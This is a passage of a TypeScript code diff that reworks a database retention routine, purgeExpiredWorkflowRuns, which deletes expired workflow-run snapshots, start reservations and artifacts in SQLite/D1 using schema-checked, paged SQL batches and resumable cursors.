* on with the pairing disabled. Nothing is lost: a table that does not exist - * holds no reservation to reap. - */ - let reservationsUnavailable = false; - const reservationStatements = ( - runIds: readonly string[], - ): SnapshotStatement[] => { - if ( - !startIdempotencyTable || - reservationsUnavailable || - runIds.length === 0 - ) { - return []; + return { + names: canonical, + table, + stage, + bindings: [ + JSON.stringify(canonical), + table ?? null, + metadata === null ? null : JSON.stringify(metadata), + ], + }; +} + +const RETENTION_SCHEMA_SQL = `WITH expected_names(name) AS (SELECT value FROM json_each(?1)), +current_names(name,type) AS ( + SELECT lower(name),type FROM sqlite_schema WHERE type IN ('table','view') + AND lower(name) GLOB '*${RETENTION_SUFFIX}' LIMIT ${RETENTION_NAMESPACES + 1} +), ecols(cid,name,type,nn,dflt,pk,hidden) AS ( + SELECT json_extract(value,'$[0]'),json_extract(value,'$[1]'),json_extract(value,'$[2]'), + json_extract(value,'$[3]'),json_extract(value,'$[4]'),json_extract(value,'$[5]'),json_extract(value,'$[6]') FROM json_each(?3) +), ccols(cid,name,type,nn,dflt,pk,hidden) AS ( + SELECT cid,name,type,"notnull",dflt_value,pk,hidden FROM pragma_table_xinfo(?2) ORDER BY cid LIMIT 14 +), schema_ok(ok) AS (SELECT + (SELECT count(*) FROM current_names)=(SELECT count(*) FROM expected_names) + AND NOT EXISTS (SELECT name FROM current_names EXCEPT SELECT name FROM expected_names) + AND NOT EXISTS (SELECT 1 FROM current_names WHERE type COLLATE BINARY <> 'table') + AND CASE WHEN ?2 IS NULL THEN 1 WHEN ?3 IS NULL THEN NOT EXISTS ( + SELECT 1 FROM sqlite_schema WHERE lower(name)=?2 AND type IN ('table','view')) + ELSE EXISTS (SELECT 1 FROM sqlite_schema WHERE lower(name)=?2 AND type='table') + AND (SELECT count(*) FROM ccols)=(SELECT count(*) FROM ecols) + AND NOT EXISTS (SELECT * FROM ccols EXCEPT SELECT * FROM ecols) END)`; + +function retentionPathGuard(): string { + return `json_type(s.snapshot,'$')='object' + AND (SELECT count(*) FROM json_each(s.snapshot) WHERE key COLLATE BINARY='requestContext') <= 1 + AND (json_type(s.snapshot,'$.requestContext') IS NULL OR json_type(s.snapshot,'$.requestContext')='object') + AND (SELECT count(*) FROM json_each(s.snapshot,'$.requestContext') WHERE key COLLATE BINARY='flowsafe.runProvenance') <= 1 + AND NOT EXISTS (SELECT key FROM json_each(s.snapshot,'${RETENTION_PATH}') + WHERE key COLLATE BINARY IN ('version','startToken','startIdentity','agentStart') GROUP BY key COLLATE BINARY HAVING count(*) > 1)`; +} + +function retentionOwnedExpressions(): string[] { + return RETENTION_OWNED_KEYS.map( + (key) => `s.snapshot -> '${RETENTION_PATH}.${key}'`, + ); +} + +function retentionOwnedProjection(): string { + const expressions = retentionOwnedExpressions(); + const size = expressions + .map((expression) => `COALESCE(length(CAST((${expression}) AS BLOB)),0)`) + .join('+'); + const bounded = `CASE WHEN json_valid(s.snapshot) THEN (${size})<=${RETENTION_FRAGMENT_BYTES} ELSE 0 END`; + return `CASE WHEN json_valid(s.snapshot) THEN ${retentionPathGuard()} ELSE 0 END AS path_ok, + CASE WHEN json_valid(s.snapshot) THEN json_type(s.snapshot,'${RETENTION_PATH}') END AS provenance_type, + ${bounded} AS owned_ok, + ${expressions.map((expression, index) => `CASE WHEN ${bounded} THEN ${expression} END AS owned_${index}`).join(',')}`; +} + +function retentionOwnedEquality(path: string): string { + return `CASE WHEN json_valid(s.snapshot) THEN json_type(s.snapshot,'${RETENTION_PATH}')='object' + AND ${retentionPathGuard()} AND ${retentionOwnedExpressions() + .map( + (expression, index) => + `(${expression}) COLLATE BINARY IS json_extract(c.value,'${path}[${index}]')`, + ) + .join(' AND ')} ELSE 0 END`; +} + +function decodeRunRetentionCandidate( + row: Record, + prefix: string, +): RetentionSelector | 'legacy' | undefined { + for (const key of [ + 'workflow_name', + 'run_id', + 'path_ok', + 'owned_ok', + 'provenance_type', + ...RETENTION_OWNED_KEYS.map((_, index) => `owned_${index}`), + ]) { + if (!Object.hasOwn(row, key)) + throw new Error('run retention capsule projection is incomplete'); + } + if ( + ![0, 1, null].includes(row.path_ok as number | null) || + ![0, 1].includes(row.owned_ok as number) || + ![ + null, + 'object', + 'array', + 'text', + 'integer', + 'real', + 'true', + 'false', + 'null', + ].includes(row.provenance_type as string | null) + ) + throw new Error('run retention capsule projection is malformed'); + const owned = RETENTION_OWNED_KEYS.map((_, index) => row[`owned_${index}`]); + if (owned.some((value) => value !== null && typeof value !== 'string')) + throw new Error('run retention capsule projection is malformed'); + let fragments: unknown[]; + try { + fragments = owned.map((value) => + typeof value === 'string' ? JSON.parse(value) : undefined, + ); + } catch { + throw new Error('run retention capsule projection is malformed'); + } + if ( + !isPathSafeId(row.workflow_name) || + !isPathSafeId(row.run_id) || + row.path_ok !== 1 || + row.owned_ok !== 1 + ) + return undefined; + try { + let value: Record | undefined; + if (row.provenance_type !== null) { + if (row.provenance_type !== 'object') return undefined; + const object: Record = {}; + RETENTION_OWNED_KEYS.forEach((key, index) => { + if (typeof owned[index] === 'string') object[key] = fragments[index]; + }); + value = object; } - const placeholders = runIds.map(() => '?').join(', '); + const decoded = decodeRunStartIdentity(value); + if (decoded === undefined) return 'legacy'; + const execution = normalizeD1RunExecutionIdentity( + runExecutionIdentityFor( + { + tablePrefix: prefix, + workflowId: row.workflow_name, + runId: row.run_id, + }, + decoded, + ), + ); + const start = + decoded.startIdentity === undefined + ? undefined + : normalizeStartExecutionIdentity({ + ...execution, + ...decoded.startIdentity, + }); return [ - db - .prepare( - `DELETE FROM ${startIdempotencyTable} - WHERE run_id IN (${placeholders}) - AND state = 'terminal' AND updated_at < ?`, - ) - .bind(...runIds, reservationCutoff), - db - .prepare( - `UPDATE ${startIdempotencyTable} - SET state = 'terminal', updated_at = ? - WHERE run_id IN (${placeholders}) AND state <> 'terminal'`, - ) - .bind(now(), ...runIds), + execution.workflowId, + execution.runId, + owned as RetentionOwned, + start === undefined + ? null + : [ + prefix, + start.startToken, + start.owner.kind, + start.owner.id, + start.target.kind, + start.target.id, + start.target.kind === 'agent' ? start.target.threadId : null, + ], ]; + } catch { + return undefined; + } +} + +function retentionTerminalSql(first: number): string { + let binding = first; + return RUN_TERMINAL_SNAPSHOT_SQL.replace(/\bsnapshot\b/g, 's.snapshot') + .replace(/\?/g, () => `?${binding++}`) + .replace( + /json_extract\(s.snapshot, '\$\.status'\)/g, + "json_extract(s.snapshot, '$.status') COLLATE BINARY", + ); +} + +function retentionPageStatement( + table: string, + position: RunRetentionScanPosition | undefined, + limit: number, + projection: string, + extra: unknown[] = [], +): RetentionStatement { + return retentionStatement( + `WITH bounds(h) AS MATERIALIZED (SELECT COALESCE(?1,(SELECT MAX(rowid) FROM "${table}"))), + page AS (SELECT rowid AS rid FROM "${table}",bounds WHERE rowid <= h ${position ? 'AND rowid > ?2' : ''} ORDER BY rowid LIMIT ?3) + SELECT b.h,p.rid,${projection} FROM bounds b LEFT JOIN page p ON 1 + LEFT JOIN "${table}" s ON s.rowid=p.rid ORDER BY p.rid`, + [ + position?.highWaterRowId ?? null, + position?.afterRowId ?? null, + limit, + ...extra, + ], + ); +} + +function decodeRetentionPage( + result: unknown, + position: RunRetentionScanPosition | undefined, + limit: number, +): RetentionPage { + const rows = snapshotResultRows(result); + if (rows.length === 0 || rows.length > limit) + throw new Error('run retention page is malformed'); + const highWater = rows[0]?.h; + if ( + highWater !== null && + (typeof highWater !== 'number' || !Number.isSafeInteger(highWater)) + ) + throw new Error('run retention high water is malformed'); + if (position && highWater !== position.highWaterRowId) + throw new Error('run retention high water changed'); + let previous = position?.afterRowId; + for (const row of rows) { + if (row.h !== highWater) + throw new Error('run retention high water disagrees'); + if (row.rid === null && rows.length === 1) return { rows: [] }; + if ( + typeof row.rid !== 'number' || + !Number.isSafeInteger(row.rid) || + typeof highWater !== 'number' || + row.rid > highWater || + (previous !== undefined && row.rid <= previous) + ) + throw new Error('run retention row position is malformed'); + previous = row.rid; + } + if (previous === undefined || typeof highWater !== 'number') + throw new Error('run retention page is malformed'); + return { + rows, + ...(rows.length < limit || previous === highWater + ? {} + : { + position: Object.freeze({ + afterRowId: previous, + highWaterRowId: highWater, + }), + }), }; - /** - * Reap the reservations that OUTLIVED their snapshot. - * - * The paired statements above only ever see runs whose snapshot is expiring - * in THIS pass, and a reservation is meant to survive that moment — the whole - * point of a horizon longer than run retention is that a late retry still - * finds ALREADY_SETTLED after the summary is gone. Which means the pairing - * alone can never delete those rows: by the time they are old enough, their - * snapshot has been gone for passes and nothing re-visits them. This sweep is - * what keeps the table finite, and without it the reservation table would be - * the one piece of this deployment's state that only ever grows. - * - * `NOT EXISTS (snapshot)` is not an optimization — it is the safety predicate - * that makes this sweep structurally unable to delete a reservation whose run - * is still readable, whatever a caller configured the horizon to be. The - * LIMIT rides a rowid subselect for the same reason every other purge here - * does: plain `DELETE ... LIMIT` needs a SQLite compile-time option D1 does - * not guarantee. - */ - /** - * Run a snapshot-delete batch, retrying once without the reservation - * statements if the reservation table turns out not to exist yet. - * - * `build(withReservations)` rather than a prepared array, because D1 - * statements are single-use once run: a retry has to re-prepare. - */ - const runPurgeBatch = async ( - build: (withReservations: boolean) => SnapshotStatement[], - ): Promise => { - if (!batch) throw new Error('purgeExpiredWorkflowRuns: batch unavailable'); - try { - return await batch(build(true)); - } catch (error) { +} + +function retentionMembership( + names: readonly string[], + selector: string, +): string { + if (names.length === 0) return 'SELECT NULL AS run_id WHERE 0'; + const compoundLimit = 5; + const grouped = names.length > compoundLimit; + const definitions = grouped + ? [`retention_ids(run_id) AS MATERIALIZED (${selector})`] + : []; + let selects = names.map( + (name) => + `SELECT DISTINCT run_id COLLATE BINARY AS run_id FROM "${name}" WHERE run_id COLLATE BINARY IN (${grouped ? 'SELECT run_id FROM retention_ids' : selector})`, + ); + // Materialized groups prevent flattening beyond workerd's compound limit. + while (selects.length > compoundLimit) { + const next: string[] = []; + for (let index = 0; index < selects.length; index += compoundLimit) { + const name = `retention_members_${definitions.length}`; + definitions.push( + `${name}(run_id) AS MATERIALIZED (${selects.slice(index, index + compoundLimit).join(' UNION ALL ')})`, + ); + next.push(`SELECT run_id FROM ${name}`); + } + selects = next; + } + return `${definitions.length > 0 ? `WITH ${definitions.join(', ')} ` : ''}${selects.join(' UNION ALL ')}`; +} + +function retentionSnapshotGroup( + schema: RetentionSchema, + table: string, + owner: string | undefined, + selectors: readonly RetentionSelector[], + raw: RawWorkflowSnapshot | undefined, + cutoff: string, + keyCutoff: number, + now: number, +): RetentionStatement[] { + const result = [ + retentionStatement( + `${RETENTION_SCHEMA_SQL} SELECT ok AS schema_ok FROM schema_ok`, + [...schema.bindings], + ), + ]; + const json = retentionSelectorJson(selectors); + if (schema.names.includes(table)) { + result.push( + raw + ? retentionStatement( + `${RETENTION_SCHEMA_SQL} DELETE FROM "${table}" AS s WHERE (SELECT ok FROM schema_ok)=1 + AND s.workflow_name COLLATE BINARY=?4 AND s.run_id COLLATE BINARY=?5 AND s.snapshot COLLATE BINARY=?6 + AND s.createdAt COLLATE BINARY IS ?7 AND s.updatedAt COLLATE BINARY IS ?8 AND s.resourceId COLLATE BINARY IS ?9 + AND s.updatedAt COLLATE BINARY < ?10 AND CASE WHEN json_valid(s.snapshot) THEN (${retentionTerminalSql(11)}) AND ${retentionPathGuard()} ELSE 0 END`, + [ + ...schema.bindings, + raw.workflowId, + raw.runId, + raw.snapshot, + raw.createdAt, + raw.updatedAt, + raw.resourceId, + cutoff, + ...RUN_TERMINAL_STATUSES, + ], + ) + : retentionStatement( + `${RETENTION_SCHEMA_SQL} DELETE FROM "${table}" AS s WHERE (SELECT ok FROM schema_ok)=1 + AND s.updatedAt COLLATE BINARY < ?5 AND CASE WHEN json_valid(s.snapshot) THEN (${retentionTerminalSql(6)}) ELSE 0 END + AND EXISTS (SELECT 1 FROM json_each(?4) c WHERE s.workflow_name COLLATE BINARY=json_extract(c.value,'$[0]') + AND s.run_id COLLATE BINARY=json_extract(c.value,'$[1]') AND ${retentionOwnedEquality('$[2]')})`, + [...schema.bindings, json, cutoff, ...RUN_TERMINAL_STATUSES], + ), + ); + } + if (owner !== undefined) { + const candidates = "SELECT json_extract(value,'$[1]') FROM json_each(?4)"; + result.push( + retentionStatement( + `${RETENTION_SCHEMA_SQL}, present(run_id) AS (${retentionMembership(schema.names, candidates)}) + DELETE FROM "${owner}" WHERE (SELECT ok FROM schema_ok)=1 AND resource_kind COLLATE BINARY='run' AND reservation_token IS NULL + AND resource_id COLLATE BINARY IN (${candidates}) AND NOT EXISTS (SELECT 1 FROM present WHERE present.run_id COLLATE BINARY=resource_id COLLATE BINARY)`, + [...schema.bindings, json], + ), + ); + } + if (!raw && schema.stage === 3 && schema.table !== undefined) { + const absence = schema.names.includes(table) + ? `NOT EXISTS (SELECT 1 FROM "${table}" s WHERE s.workflow_name COLLATE BINARY=json_extract(c.value,'$[0]') AND s.run_id COLLATE BINARY=json_extract(c.value,'$[1]'))` + : '1'; + const fields = [ + 'start_table_prefix', + 'start_token', + 'owner_kind', + 'owner_id', + 'target_kind', + 'target_id', + 'thread_id', + ]; + const pair = `EXISTS (SELECT 1 FROM json_each(?4) c WHERE json_type(c.value,'$[3]')='array' AND + ${fields.map((field, index) => `r.${field} COLLATE BINARY IS json_extract(c.value,'$[3][${index}]')`).join(' AND ')} + AND r.start_workflow_id COLLATE BINARY=json_extract(c.value,'$[0]') AND r.run_id COLLATE BINARY=json_extract(c.value,'$[1]') AND ${absence})`; + result.push( + retentionStatement( + `${RETENTION_SCHEMA_SQL} DELETE FROM "${schema.table}" AS r WHERE (SELECT ok FROM schema_ok)=1 + AND r.state COLLATE BINARY='terminal' AND ${retentionFiniteExpiry('r.updated_at', '?5')} AND ${pair}`, + [...schema.bindings, json, keyCutoff], + ), + ); + result.push( + retentionStatement( + `${RETENTION_SCHEMA_SQL} UPDATE "${schema.table}" AS r SET state='terminal', updated_at=?5 + WHERE (SELECT ok FROM schema_ok)=1 AND r.state COLLATE BINARY IN ('reserved','started') AND ${pair}`, + [...schema.bindings, json, now], + ), + ); + } + return result; +} + +function retentionFiniteExpiry(column: string, cutoff: string): string { + return `typeof(${column}) IN ('integer','real') AND ${column} BETWEEN -1.7976931348623157e308 AND 1.7976931348623157e308 AND ${column} < ${cutoff}`; +} + +function retentionBatchResult( + value: unknown, + count: number, +): { schemaOk: boolean; deleted: number } { + if (!Array.isArray(value) || value.length !== count) + throw new Error('run retention batch result is malformed'); + let deleted = 0; + let schemaOk = false; + for (let index = 0; index < count; index += 1) { + if (!Object.hasOwn(value, index)) + throw new Error('run retention batch result is sparse'); + const result = value[index]; + if ( + result === null || + typeof result !== 'object' || + Array.isArray(result) || + ('success' in result && result.success !== true) + ) + throw new Error('run retention batch result failed'); + if (index === 0) { + const rows = snapshotResultRows(result); + if ( + rows.length !== 1 || + (rows[0]?.schema_ok !== 0 && rows[0]?.schema_ok !== 1) + ) + throw new Error('run retention schema result is malformed'); + schemaOk = rows[0]?.schema_ok === 1; + } else { + const changes = result.meta?.changes; + if ( + typeof changes !== 'number' || + !Number.isSafeInteger(changes) || + changes < 0 || + (!schemaOk && changes !== 0) + ) + throw new Error('run retention mutation result is uncertain'); + if (index === 1) deleted = changes; + } + } + return { schemaOk, deleted }; +} + +function retentionReservationProjection( + stage: StartReservationSchemaStage, +): string { + const columns = START_IDEMPOTENCY_COLUMNS.slice(0, 10 + stage).map( + ([name]) => name, + ); + const scalars = columns + .map((name) => `typeof(s."${name}") IN ('null','text','integer','real')`) + .join(' AND '); + const size = columns + .map((name) => `COALESCE(length(CAST(s."${name}" AS BLOB)),0)`) + .join('+'); + const json = `json_object(${columns.map((name) => `'${name}',s."${name}"`).join(',')})`; + return `CASE WHEN ${scalars} AND (${size}) <= ${RETENTION_FRAGMENT_BYTES} THEN CASE WHEN length(CAST(${json} AS BLOB)) <= ${RETENTION_FRAGMENT_BYTES} THEN ${json} END END AS raw`; +} + +function decodeRetentionReservationProjection( + row: Record, + stage: StartReservationSchemaStage, +): Record | undefined { + if (row.raw === null) return undefined; + if (typeof row.raw !== 'string') + throw new Error('run retention reservation projection is malformed'); + let raw: unknown; + try { + raw = JSON.parse(row.raw); + } catch { + throw new Error('run retention reservation projection is malformed'); + } + const columns = START_IDEMPOTENCY_COLUMNS.slice(0, 10 + stage).map( + ([name]) => name, + ); + if ( + raw === null || + typeof raw !== 'object' || + Array.isArray(raw) || + Object.keys(raw).length !== columns.length || + columns.some((name) => !Object.hasOwn(raw, name)) || + Object.values(raw).some( + (value) => + value !== null && + typeof value !== 'string' && + typeof value !== 'number', + ) + ) + throw new Error('run retention reservation projection is malformed'); + return raw as Record; +} + +function retentionOrphanGroup( + schema: RetentionSchema, + orphans: readonly RetentionOrphan[], + keyCutoff: number, +): RetentionStatement[] { + const first = orphans[0]; + if (!first || schema.stage === undefined) + throw new Error('run retention orphan group is empty'); + const json = retentionSelectorJson( + orphans.map((orphan) => [ + orphan.raw, + Array.isArray(orphan.observation) ? orphan.observation : null, + ]), + ); + const columns = START_IDEMPOTENCY_COLUMNS.slice(0, 10 + schema.stage).map( + ([name]) => name, + ); + const exact = columns + .map( + (name) => + `r."${name}" COLLATE BINARY IS json_extract(c.value,'$[0].${name}')`, + ) + .join(' AND '); + let guard: string; + let membership = ''; + if (first.observation === 'legacy') { + membership = `, present(run_id) AS (${retentionMembership(schema.names, "SELECT json_extract(value,'$[0].run_id') FROM json_each(?4)")})`; + guard = + 'NOT EXISTS (SELECT 1 FROM present WHERE run_id COLLATE BINARY=r.run_id COLLATE BINARY)'; + } else if (first.observation === 'missing') guard = '1'; + else { + const address = `s.workflow_name COLLATE BINARY=json_extract(c.value,'$[0].start_workflow_id') AND s.run_id COLLATE BINARY=json_extract(c.value,'$[0].run_id')`; + guard = + first.observation === 'absent' + ? `NOT EXISTS (SELECT 1 FROM "${first.namespace}" s WHERE ${address})` + : `EXISTS (SELECT 1 FROM "${first.namespace}" s WHERE ${address} AND ${retentionOwnedEquality('$[1]')})`; + } + return [ + retentionStatement( + `${RETENTION_SCHEMA_SQL} SELECT ok AS schema_ok FROM schema_ok`, + [...schema.bindings], + ), + retentionStatement( + `${RETENTION_SCHEMA_SQL}${membership} DELETE FROM "${schema.table}" AS r WHERE (SELECT ok FROM schema_ok)=1 + AND r.state COLLATE BINARY='terminal' AND ${retentionFiniteExpiry('r.updated_at', '?5')} + AND EXISTS (SELECT 1 FROM json_each(?4) c WHERE ${exact} AND ${guard})`, + [...schema.bindings, json, keyCutoff], + ), + ]; +} + +function retentionOrphanPackets( + candidates: readonly RetentionOrphan[], +): RetentionOrphan[][] { + const groups = new Map(); + for (const candidate of candidates) { + const key = `${candidate.namespace ?? ''}/${typeof candidate.observation === 'string' ? candidate.observation : 'different'}`; + const group = groups.get(key) ?? []; + group.push(candidate); + groups.set(key, group); + } + const packets: RetentionOrphan[][] = []; + for (const group of groups.values()) { + let packet: RetentionOrphan[] = []; + let bytes = 2; + for (const candidate of group) { + const rowBytes = retentionEncoder.encode( + JSON.stringify([ + candidate.raw, + Array.isArray(candidate.observation) ? candidate.observation : null, + ]), + ).length; + if (rowBytes + 2 > RETENTION_SELECTOR_BYTES) + throw new Error('run retention orphan selector exceeds byte budget'); if ( - startIdempotencyTable === undefined || - reservationsUnavailable || - !isMissingTable(error, startIdempotencyTable) + bytes + rowBytes + (packet.length ? 1 : 0) > + RETENTION_SELECTOR_BYTES ) { - throw error; + packets.push(packet); + packet = []; + bytes = 2; } - reservationsUnavailable = true; - return batch(build(false)); + bytes += rowBytes + (packet.length ? 1 : 0); + packet.push(candidate); } + if (packet.length) packets.push(packet); + } + return packets; +} + +/** Delete expired snapshots with durable, independent physical scan positions. */ +export async function purgeExpiredWorkflowRuns( + db: SnapshotDatabase & Required>, + options: PurgeExpiredRunsOptions, +): Promise { + const { + ttlMs, + tablePrefix, + artifactStore, + resourceOwnerTable, + startIdempotencyTable, + startIdempotencyTtlMs, + limit: suppliedLimit, + now: suppliedNow, + cursor: suppliedCursor, + advanceCursor, + } = options; + const prepare = db.prepare; + const batch = db.batch; + const deleteRun = artifactStore?.deleteRun; + if ( + typeof prepare !== 'function' || + typeof batch !== 'function' || + typeof advanceCursor !== 'function' || + (artifactStore !== undefined && typeof deleteRun !== 'function') + ) + throw new Error( + 'purgeExpiredWorkflowRuns requires database.batch(), advanceCursor and a valid artifact callback', + ); + const captured: RetentionDatabase = { + prepare: prepare.bind(db), + batch: batch.bind(db), }; - const sweepOrphanedStartReservations = async (): Promise => { - if (!startIdempotencyTable || reservationsUnavailable) return; + const deleteArtifacts = deleteRun?.bind(artifactStore); + const prefix = validateTablePrefix(tablePrefix)?.toLowerCase() ?? ''; + const owner = retentionRegistry(resourceOwnerTable); + const registry = retentionRegistry(startIdempotencyTable); + let cursor = parseRunRetentionCursor(suppliedCursor); + if ( + cursor && + (cursor.tablePrefix !== prefix || cursor.startIdempotencyTable !== registry) + ) + throw new Error('run retention cursor scope mismatch'); + if ( + !Number.isFinite(ttlMs) || + ttlMs < 0 || + (startIdempotencyTtlMs !== undefined && + (!Number.isFinite(startIdempotencyTtlMs) || startIdempotencyTtlMs < 0)) + ) + throw new Error('run retention TTL must be finite and nonnegative'); + if ( + suppliedLimit !== undefined && + (!Number.isSafeInteger(suppliedLimit) || suppliedLimit <= 0) + ) + throw new Error('run retention limit must be a positive safe integer'); + const limit = Math.min(suppliedLimit ?? RETENTION_PAGE, RETENTION_PAGE); + const nowFunction = suppliedNow === undefined ? Date.now : suppliedNow; + if (typeof nowFunction !== 'function') + throw new Error('run retention clock is invalid'); + const now = nowFunction(); + const keyCutoff = now - Math.max(ttlMs, startIdempotencyTtlMs ?? ttlMs); + const snapshotCutoff = now - ttlMs; + if ( + !Number.isFinite(now) || + !Number.isFinite(keyCutoff) || + !Number.isFinite(snapshotCutoff) + ) + throw new Error('run retention cutoff is invalid'); + const cutoff = new Date(snapshotCutoff).toISOString(); + if (!/^\d{4}-/.test(cutoff)) + throw new Error('run retention cutoff must have a four-digit ISO year'); + const table = `${prefix}${RETENTION_SUFFIX}`; + let schema = await observeRunRetentionSchema(captured, registry); + let schemaRetryUsed = false; + let deleted = 0; + const failures: string[] = []; + const reportedSkips = new Set(); + const reportUnsupported = ( + kind: 'snapshot' | 'legacy-snapshot' | 'reservation' | 'orphan-snapshot', + ): void => { + if (reportedSkips.has(kind)) return; + reportedSkips.add(kind); + console.warn( + JSON.stringify({ type: 'run-retention-skip', kind, tablePrefix: prefix }), + ); + }; + const knownSkip = (error: unknown) => { + if (failures.length >= 8) return; + let message = 'unreadable error'; try { - await db - .prepare( - `DELETE FROM ${startIdempotencyTable} - WHERE rowid IN ( - SELECT r.rowid FROM ${startIdempotencyTable} AS r - WHERE r.state = 'terminal' AND r.updated_at < ? - AND NOT EXISTS ( - SELECT 1 FROM ${prefix}mastra_workflow_snapshot AS s - WHERE s.run_id = r.run_id - ) - LIMIT ? - )`, - ) - .bind(reservationCutoff, options.limit ?? 1000) - .run(); - } catch (error) { - // Either table may legitimately not exist yet: the reservation table is - // created by the first reserve() and the snapshot table by the first run. - // Neither absence is a fault, and neither leaves anything to reap. - if ( - isMissingTable(error, startIdempotencyTable) || - isMissingTable(error, `${prefix}mastra_workflow_snapshot`) - ) { - return; + message = errorMessageOf(error).slice(0, 256); + } catch {} + failures.push(message); + }; + const refresh = async () => { + if (schemaRetryUsed) + throw new Error('run retention schema changed repeatedly'); + schemaRetryUsed = true; + schema = await observeRunRetentionSchema(captured, registry); + }; + const execute = async ( + build: () => RetentionStatement[], + onRetry?: () => Promise, + ): Promise => { + for (;;) { + const statements = build(); + let result: unknown; + try { + const prepared = statements.map((statement) => + prepareRetentionStatement(captured, statement), + ); + result = await captured.batch(prepared); + } catch (error) { + let missing = false; + try { + missing = [...schema.names, ...(registry ? [registry] : [])].some( + (name) => missingTableReadsEmpty(error, name), + ); + } catch {} + if (!missing) throw error; + const previous = JSON.stringify(schema.bindings); + await refresh(); + if (JSON.stringify(schema.bindings) === previous) throw error; + if (onRetry) await onRetry(); + continue; } - throw error; + const outcome = retentionBatchResult(result, statements.length); + if (outcome.schemaOk) return outcome.deleted; + await refresh(); + if (onRetry) await onRetry(); } }; - - if (options.artifactStore) { - // Artifact-paired path, run by run: artifacts BEFORE the row, because - // the row is the only record of the run's artifact keys — dying between - // the two leaves the row for the next sweep (deleteRun is idempotent), - // while row-first would strand the artifacts forever. Each deleted row - // is durable progress: a mid-pass crash or the LIMIT batch cap resumes - // at the survivors on the next firing, and per-run failures are - // isolated below so one wedged run cannot stall the rows behind it. - let rows: Array<{ workflow_name: string; run_id: string }>; + const advance = async ( + component: 'snapshots' | 'reservations', + position: RunRetentionScanPosition | undefined, + ) => { + const next = { + version: 1 as const, + tablePrefix: prefix, + ...(registry === undefined ? {} : { startIdempotencyTable: registry }), + ...cursor, + }; + delete next[component]; + if (position) next[component] = position; + cursor = Object.freeze(next); + await advanceCursor(cursor); + }; + const snapshotGroup = ( + selectors: readonly RetentionSelector[], + raw?: RawWorkflowSnapshot, + ) => + retentionSnapshotGroup( + schema, + table, + owner, + selectors, + raw, + cutoff, + keyCutoff, + now, + ); + const artifacts = async (workflowId: string, runId: string) => { try { - ({ results: rows } = await db - .prepare( - `SELECT workflow_name, run_id - FROM ${prefix}mastra_workflow_snapshot - WHERE ${eligible} - LIMIT ?`, - ) - .bind(cutoff, ...RUN_TERMINAL_STATUSES, options.limit ?? 100) - .all<{ workflow_name: string; run_id: string }>()); + await deleteArtifacts?.(workflowId, runId); + return true; } catch (error) { - if (!isMissingTable(error, `${prefix}mastra_workflow_snapshot`)) - throw error; - return 0; + knownSkip(error); + return false; } - let deleted = 0; - const failures: Array<{ run: string; message: string }> = []; - for (const row of rows) { + }; + if (schema.names.includes(table)) { + const page = decodeRetentionPage( + await prepareRetentionStatement( + captured, + retentionPageStatement( + table, + cursor?.snapshots, + limit, + `CASE WHEN length(s.workflow_name)<=200 THEN s.workflow_name END AS workflow_name, + CASE WHEN length(s.run_id)<=200 THEN s.run_id END AS run_id, + s.updatedAt COLLATE BINARY < ?4 AND CASE WHEN json_valid(s.snapshot) THEN (${retentionTerminalSql(5)}) ELSE 0 END AS eligible, + ${retentionOwnedProjection()}`, + [cutoff, ...RUN_TERMINAL_STATUSES], + ), + ).all(), + cursor?.snapshots, + limit, + ); + const modern: RetentionSelector[] = []; + for (const row of page.rows) { + if ( + !Object.hasOwn(row, 'eligible') || + ![0, 1, null].includes(row.eligible as number | null) + ) + throw new Error('run retention eligibility projection is malformed'); + if (row.eligible !== 1) continue; + const candidate = decodeRunRetentionCandidate(row, prefix); + if (candidate === undefined) { + reportUnsupported('snapshot'); + continue; + } + if (candidate !== 'legacy') { + modern.push(candidate); + continue; + } + const address = { + tablePrefix: prefix, + workflowId: row.workflow_name as string, + runId: row.run_id as string, + }; + const read = prepareRawWorkflowSnapshotRead(captured, address); + const result = await read.statement.all(); + const rawRows = snapshotResultRows(result); + if ( + rawRows.length > 1 || + rawRows.some((row) => + [ + 'workflow_name', + 'run_id', + 'resourceId', + 'snapshot', + 'createdAt', + 'updatedAt', + ].some((key) => !Object.hasOwn(row, key)), + ) + ) + throw new Error('run retention raw snapshot result is malformed'); + let raw: RawWorkflowSnapshot | undefined; try { - await options.artifactStore.deleteRun(row.workflow_name, row.run_id); - } catch (error) { - // Isolate per run: aborting the - // loop would re-hit this run at the same scan position every firing - // and stall every eligible row behind it forever. Its row survives - // as its own retry cursor; the aggregate throw below keeps the - // purge duty's error surface firing. A wedged run does occupy a batch - // slot until fixed, so isolation holds while wedged runs number - // fewer than `limit`. - failures.push({ - run: `${row.workflow_name}/${row.run_id}`, - message: errorMessageOf(error), - }); + raw = decodeRawWorkflowSnapshotResult(result, read.address); + if (!raw || raw.updatedAt >= cutoff) continue; + const snapshot = JSON.parse(raw.snapshot); + const cleanupCompletedAt = + snapshot.requestContext?.['flowsafe.runLifecycle']?.terminal + ?.cleanupCompletedAt; + if ( + decodeRunStartIdentity( + snapshot.requestContext?.['flowsafe.runProvenance'], + ) !== undefined || + !RUN_TERMINAL_STATUSES.includes(snapshot.status) || + ((snapshot.status === 'cancelled' || + snapshot.status === 'timed_out') && + (!Number.isSafeInteger(cleanupCompletedAt) || + cleanupCompletedAt < 0)) + ) + continue; + } catch { + reportUnsupported('legacy-snapshot'); continue; } - // Re-checking eligibility keys the delete to the row the SELECT saw; - // terminal is absorbing, so this is belt-and-braces, not a race fix. - // - // A FACTORY, not one prepared statement: D1 statements are single-use - // once run, and `runPurgeBatch` re-prepares its whole batch when the - // reservation table turns out not to exist. Written once so the batch and - // non-batch paths cannot drift onto different delete predicates. - const deleteSnapshot = (): SnapshotStatement => - db - .prepare( - `DELETE FROM ${prefix}mastra_workflow_snapshot - WHERE workflow_name = ? AND run_id = ? AND ${eligible}`, - ) - .bind( - row.workflow_name, - row.run_id, - cutoff, - ...RUN_TERMINAL_STATUSES, - ); - if (batch) { - const [result] = await runPurgeBatch((withReservations) => [ - deleteSnapshot(), - ...(resourceOwnerTable - ? [ - db - .prepare( - `DELETE FROM ${resourceOwnerTable} - WHERE resource_kind = 'run' AND resource_id = ? - AND NOT EXISTS ( - SELECT 1 FROM ${prefix}mastra_workflow_snapshot - WHERE run_id = ? - )`, - ) - .bind(row.run_id, row.run_id), - ] - : []), - ...(withReservations ? reservationStatements([row.run_id]) : []), - ]); - deleted += d1Changes(result); - } else { - deleted += d1Changes(await deleteSnapshot().run()); + const selectors: RetentionSelector[] = [ + [address.workflowId, address.runId, [], null], + ]; + snapshotGroup(selectors, raw); + if (await artifacts(address.workflowId, address.runId)) { + const count = await execute(() => snapshotGroup(selectors, raw)); + if 